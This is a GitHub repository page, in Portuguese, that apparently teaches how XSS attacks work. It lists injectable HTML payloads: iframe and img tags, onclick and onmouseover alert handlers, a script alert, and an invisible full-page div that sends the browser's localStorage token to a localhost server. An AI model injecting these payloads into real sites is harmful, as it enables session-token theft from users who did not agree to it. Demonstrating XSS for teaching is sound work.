Skip to content

CristianoRC/XSS-Exemplo

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

XSS-Exemplo

Exemplo de funmcionamento do ataque XSS

Video explicando os conceitos

Watch the video

Iframe

<iframe src="https://www.cristianoprogramador.com/">

Img

<img src="1https://www.cristianoprogramador.com/img/profile.jpg">

Button

<button onclick="Alert Hackeado">Click me</button>

On mouse over

<div onmouseover="alert('injetado!')" style="width:100vw; height: 100vh; color:transparent"> </div>

Script

<script>alert('123')</script>

Request HTTP

<div onmouseover="axios.post('http://localhost:3001/', {}, {headers:{Authorization:localStorage['token']} }).then((result)=>{})" style="width:100vw; height: 100vh; color:transparent"></div>

Outros exeplos de como fazer esse ataque

XSS Payload List

About

Exemplo de funcionamento do ataque XSS

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published